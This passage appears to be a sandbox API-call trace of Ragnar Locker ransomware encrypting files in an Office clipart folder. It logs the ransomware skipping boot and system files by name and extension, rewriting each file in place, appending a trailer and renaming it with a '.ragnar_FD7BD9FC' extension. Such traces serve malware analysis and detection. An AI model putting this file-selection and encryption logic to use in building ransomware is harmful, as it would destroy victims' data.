lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.ragnar_FD7BD9FC" [0080.101] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.101] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04385_.WMF", cAlternateFileName="")) returned 1 [0080.101] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.101] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AN04385_.WMF" | out: lpString1="AN04385_.WMF") returned="AN04385_.WMF" [0080.101] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned=".WMF" [0080.101] lstrcmpiW (lpString1="AN04385_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.101] lstrcmpiW (lpString1="AN04385_.WMF", lpString2="autorun.inf") returned -1 [0080.101] lstrcmpiW (lpString1="AN04385_.WMF", lpString2="boot.ini") returned -1 [0080.101] lstrcmpiW (lpString1="AN04385_.WMF", lpString2="bootfont.bin") returned -1 [0080.101] lstrcmpiW (lpString1="AN04385_.WMF", lpString2="bootsect.bak") returned -1 [0080.102] lstrcmpiW (lpString1="AN04385_.WMF", lpString2="bootmgr") returned -1 [0080.102] lstrcmpiW (lpString1="AN04385_.WMF", lpString2="bootmgr.efi") returned -1 [0080.102] lstrcmpiW (lpString1="AN04385_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.102] lstrcmpiW (lpString1="AN04385_.WMF", lpString2="desktop.ini") returned -1 [0080.102] lstrcmpiW (lpString1="AN04385_.WMF", lpString2="iconcache.db") returned -1 [0080.102] lstrcmpiW (lpString1="AN04385_.WMF", lpString2="ntldr") returned -1 [0080.102] lstrcmpiW (lpString1="AN04385_.WMF", lpString2="ntuser.dat") returned -1 [0080.102] lstrcmpiW (lpString1="AN04385_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.102] lstrcmpiW (lpString1="AN04385_.WMF", lpString2="ntuser.ini") returned -1 [0080.102] lstrcmpiW (lpString1="AN04385_.WMF", lpString2="thumbs.db") returned -1 [0080.102] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.102] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.102] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.102] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.102] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.102] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.102] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf")) returned 0x20 [0080.102] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.102] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5004) returned 1 [0080.102] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1383, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.102] GetProcessHeap () returned 0x580000 [0080.102] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.102] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.104] VirtualAlloc (lpAddress=0x0, dwSize=0x138c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.104] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.104] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.104] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x138c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x138c, lpOverlapped=0x0) returned 1 [0080.105] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.105] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x138c, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.105] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x138c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x138c, lpOverlapped=0x0) returned 1 [0080.105] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x138c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.105] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.105] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x138c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.105] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.105] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.106] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.106] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.106] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.106] GetProcessHeap () returned 0x580000 [0080.106] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.106] CloseHandle (hObject=0xf4) returned 1 [0080.106] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" [0080.106] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.ragnar_FD7BD9FC" [0080.106] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.107] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfc41400, ftCreationTime.dwHighDateTime=0x1bd4c15, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcfc41400, ftLastWriteTime.dwHighDateTime=0x1bd4c15, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BABY_01.MID", cAlternateFileName="")) returned 1 [0080.107] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.107] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BABY_01.MID" | out: lpString1="BABY_01.MID") returned="BABY_01.MID" [0080.107] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned=".MID" [0080.107] lstrcmpiW (lpString1="BABY_01.MID", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.107] lstrcmpiW (lpString1="BABY_01.MID", lpString2="autorun.inf") returned 1 [0080.107] lstrcmpiW (lpString1="BABY_01.MID", lpString2="boot.ini") returned -1 [0080.107] lstrcmpiW (lpString1="BABY_01.MID", lpString2="bootfont.bin") returned -1 [0080.107] lstrcmpiW (lpString1="BABY_01.MID", lpString2="bootsect.bak") returned -1 [0080.107] lstrcmpiW (lpString1="BABY_01.MID", lpString2="bootmgr") returned -1 [0080.107] lstrcmpiW (lpString1="BABY_01.MID", lpString2="bootmgr.efi") returned -1 [0080.107] lstrcmpiW (lpString1="BABY_01.MID", lpString2="bootmgfw.efi") returned -1 [0080.107] lstrcmpiW (lpString1="BABY_01.MID", lpString2="desktop.ini") returned -1 [0080.107] lstrcmpiW (lpString1="BABY_01.MID", lpString2="iconcache.db") returned -1 [0080.107] lstrcmpiW (lpString1="BABY_01.MID", lpString2="ntldr") returned -1 [0080.107] lstrcmpiW (lpString1="BABY_01.MID", lpString2="ntuser.dat") returned -1 [0080.107] lstrcmpiW (lpString1="BABY_01.MID", lpString2="ntuser.dat.log") returned -1 [0080.107] lstrcmpiW (lpString1="BABY_01.MID", lpString2="ntuser.ini") returned -1 [0080.107] lstrcmpiW (lpString1="BABY_01.MID", lpString2="thumbs.db") returned -1 [0080.107] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0080.107] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0080.107] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0080.107] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0080.107] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0080.107] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0080.107] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0080.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid")) returned 0x20 [0080.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.108] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7384) returned 1 [0080.108] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ccf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.108] GetProcessHeap () returned 0x580000 [0080.108] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.108] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.109] VirtualAlloc (lpAddress=0x0, dwSize=0x1cd8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.110] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.110] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.110] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1cd8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1cd8, lpOverlapped=0x0) returned 1 [0080.110] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.111] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cd8, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.111] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1cd8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1cd8, lpOverlapped=0x0) returned 1 [0080.111] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cd8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.111] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.111] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1cd8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.111] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.111] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.111] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.111] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.111] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.111] GetProcessHeap () returned 0x580000 [0080.111] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.111] CloseHandle (hObject=0xf4) returned 1 [0080.112] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" [0080.112] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.ragnar_FD7BD9FC" [0080.112] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.112] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1306, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00116_.WMF", cAlternateFileName="")) returned 1 [0080.112] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.112] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BD00116_.WMF" | out: lpString1="BD00116_.WMF") returned="BD00116_.WMF" [0080.112] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned=".WMF" [0080.112] lstrcmpiW (lpString1="BD00116_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.112] lstrcmpiW (lpString1="BD00116_.WMF", lpString2="autorun.inf") returned 1 [0080.112] lstrcmpiW (lpString1="BD00116_.WMF", lpString2="boot.ini") returned -1 [0080.112] lstrcmpiW (lpString1="BD00116_.WMF", lpString2="bootfont.bin") returned -1 [0080.112] lstrcmpiW (lpString1="BD00116_.WMF", lpString2="bootsect.bak") returned -1 [0080.112] lstrcmpiW (lpString1="BD00116_.WMF", lpString2="bootmgr") returned -1 [0080.112] lstrcmpiW (lpString1="BD00116_.WMF", lpString2="bootmgr.efi") returned -1 [0080.112] lstrcmpiW (lpString1="BD00116_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.112] lstrcmpiW (lpString1="BD00116_.WMF", lpString2="desktop.ini") returned -1 [0080.112] lstrcmpiW (lpString1="BD00116_.WMF", lpString2="iconcache.db") returned -1 [0080.112] lstrcmpiW (lpString1="BD00116_.WMF", lpString2="ntldr") returned -1 [0080.113] lstrcmpiW (lpString1="BD00116_.WMF", lpString2="ntuser.dat") returned -1 [0080.113] lstrcmpiW (lpString1="BD00116_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.113] lstrcmpiW (lpString1="BD00116_.WMF", lpString2="ntuser.ini") returned -1 [0080.113] lstrcmpiW (lpString1="BD00116_.WMF", lpString2="thumbs.db") returned -1 [0080.113] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.113] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.113] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.113] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.113] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.113] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.113] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x20 [0080.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.114] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4870) returned 1 [0080.114] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x12fd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.114] GetProcessHeap () returned 0x580000 [0080.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.114] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.116] VirtualAlloc (lpAddress=0x0, dwSize=0x1306, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.116] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.116] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.116] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1306, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1306, lpOverlapped=0x0) returned 1 [0080.117] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.117] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1306, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.117] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1306, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1306, lpOverlapped=0x0) returned 1 [0080.118] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1306, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.118] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.118] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1306, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.118] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.118] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.118] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.118] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.118] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.118] GetProcessHeap () returned 0x580000 [0080.118] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.118] CloseHandle (hObject=0xf4) returned 1 [0080.118] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" [0080.118] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.ragnar_FD7BD9FC" [0080.118] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.119] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2332bb00, ftCreationTime.dwHighDateTime=0x1bd4fa4, 